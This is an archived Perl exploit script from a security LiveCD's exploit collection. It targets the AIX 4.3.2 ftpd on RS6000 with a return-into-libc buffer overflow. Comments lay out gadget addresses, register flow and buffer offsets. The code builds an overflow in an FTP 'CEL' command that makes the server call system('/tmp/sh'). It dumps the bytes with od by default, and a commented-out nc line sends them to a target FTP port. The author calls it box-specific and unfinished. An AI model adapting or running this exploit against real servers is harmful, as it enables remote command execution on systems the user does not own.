home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / ftpd.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  155 lines

  1. #!/usr/bin/perl
  2. # *** Synnergy Networks
  3.  
  4. # * Description:
  5. #
  6. # Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an 
  7. # RS6000. (power)
  8. # This is an return into libc exploit specificly crafted for
  9. # one box and it is very unlikely to work on another box
  10.  
  11. # * Author:
  12. #
  13. # dvorak (dvorak@synnergy.net)
  14. # Synnergy Networks (c) 1999,  http://www.synnergy.net
  15.  
  16. # * Greets:
  17. # Synnergy Networks, Hit2000 crew, Emphyrio, shevek
  18.  
  19. # * Comments:
  20. #
  21. # A full working exploit will be released later on.
  22. # The addresses point to positions in the program or libraries,
  23. # only the relevant instructions are shown also note that b r0
  24. # is in fact something like mfsbr r0, bsbr or what that is in
  25. # RS6000 assembly.
  26. #
  27. # The final call is to system which needs the following arguments:
  28. # r3 = address of command to execute
  29. # r2 = TOC (what is TOC anyway), I don't know if it does matter but
  30. #      we set it anyway (we can so why not do it)
  31. # r1 = SP but this is ok already,
  32. # the rest is free so it seems.
  33. #
  34. # Our route:
  35. # 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
  36. # 0x10015228: loads r12 with a value from our buffera
  37. #             loads r0 with the next address to jump to (0x1001038c)
  38. #             and sets r2 to another place in our buffer
  39. # 0x1001038c: sets r3 to a place in the buffer (finally!)
  40. #             sets r0 to next address to jump to (0xd00406d4, system(...))
  41. #
  42. # The flow with registers is thus:
  43. # r2 = 0x14(r1)
  44. # r12 = 0x110(r2)
  45. # r0 = 0x0(r12)
  46. # r2 = 0x4(r12)
  47. # r3 = 0x40(r1)
  48. # r12 = 0x3c(r2)
  49. # 0x14(r1) = r12 this is  the plave where TOC is stored but it doesn't seem
  50. #            to matter
  51. # r0 = 0x0(12)
  52. # r2 = 0x04(r12)
  53. # and of we go...
  54. #
  55. # We set:
  56. # $buf =  the buffer on the stack $buf[0] is the first byte in the buffer
  57. # but we will count offsets from 4 (the first 4 bytes is just "CEL " is
  58. # doesn't matter, only the space does (it makes sure the rest of the buffer)
  59. # stays the way it is and isn't converted into lower case
  60. #
  61. # Offsets:
  62. # 0x000: 0x1001038c
  63. # 0x004: buf[0]
  64. # 0x008: this is the place where the address of the systemcall is taken from
  65. #        0xd00406d4 in our case# 0x00c: thi is the address where r2 is loaded
  66. #        from just before the call to
  67. #        system(..) we set it to the TOC in our program we don't know if it
  68. #        matters and if the TOC is constant between hosts
  69. # 0x03c: buf[08]
  70. # 0x110: buf[0]
  71. # 0x204: return address (0x10010150)
  72. # 0x210: buf[0]
  73. # 0x23c: buf[0x240]
  74. # 0x240: "/tmp/sh" or whatever command you want to execute
  75. # r1 points to buf[0x1fc]
  76. #
  77. # I assume the positions in the libraries/program are fixed and that TOC
  78. # either doesn't matter or is fixed to please enlighten me on these topics.
  79. #
  80. # 0x10010150:
  81. #     l   r2, 0x14(r1)
  82. #     b   0x10015228
  83. # 0x10015228:
  84. #     l   r12, 0x110(r2)
  85. #     st  r12, 0x14(r1)
  86. #     l   r0, 0x0(r12)
  87. #     l   r2, 0x4(r12)
  88. #     b   r0
  89. # 0x1001038c:
  90. #     l   r3, 0x40(r1)
  91. #     b   0x100136f8
  92. # 0x100136f8:
  93. #     l   r12, 0x3c(r2)
  94. #     st  r12, 0x14(r1)
  95. #     l   r0,  0x0(r12)
  96. #     l   r2,  0x04(r12)
  97.  
  98. # *** Synnergy Networks
  99.  
  100. $bufstart = 0x2ff22724;   [2000]# this is our first guess
  101. $nop = "\xde\xad\xca\xfe";
  102. $buf = "CEL ";
  103. $buf .= "\x10\x01\x03\x8c";     # 0 address of second piece of
  104.                           [2000]# 'borrowed' code
  105. $buf .= pack ("N", $bufstart);  # 4
  106. $buf .= "\xd0\x04\x06\xd4";     # 8 system call..
  107. $buf .= "\xf0\x14\x63\x5c";     # c TOC
  108. $offset = 0x10;
  109. while ($offset < 0x3c) {
  110.     $offset += 4;
  111.     $buf .= $nop;
  112. }
  113. $buf .= pack ("N", $bufstart + 0x008);
  114. $offset += 4;
  115. while ($offset < 0x110) {
  116.     $offset += 4;
  117.     $buf .= $nop;
  118. }
  119. $buf .= pack ("N", $bufstart);
  120. $offset += 4;
  121. while ($offset < 0x204) {
  122.     $offset += 4;
  123.     $buf .= $nop;
  124. }
  125. $buf .= "\x10\x01\x01\x50";
  126. $offset += 4;
  127. while ($offset < 0x210) {
  128.     $offset += 4;
  129.     $buf .= $nop;
  130. }
  131. $buf .= pack ("N", $bufstart);
  132. $offset += 4;
  133. while ($offset < 0x23c) {
  134.     $offset += 4;
  135.     $buf .= $nop;
  136. }
  137. $buf .= pack ("N", $bufstart + 0x240);
  138. $offset += 4;
  139. while ($offset < 0x240) {
  140.     $offset += 4;
  141.     $buf .= $nop;
  142. }
  143. # this is the command that will be run through system
  144. $buf .= "/tmp/sh";
  145. $buf .= "\n";
  146.  
  147. # offcourse you should change this .
  148. # open F, "| nc -v -v -n 192.168.2.12 21";
  149. open F, "| od -tx1";
  150. printf F $buf;
  151. close F;
  152.  
  153. # EOF
  154. #                 www.hack.co.za           [2000]#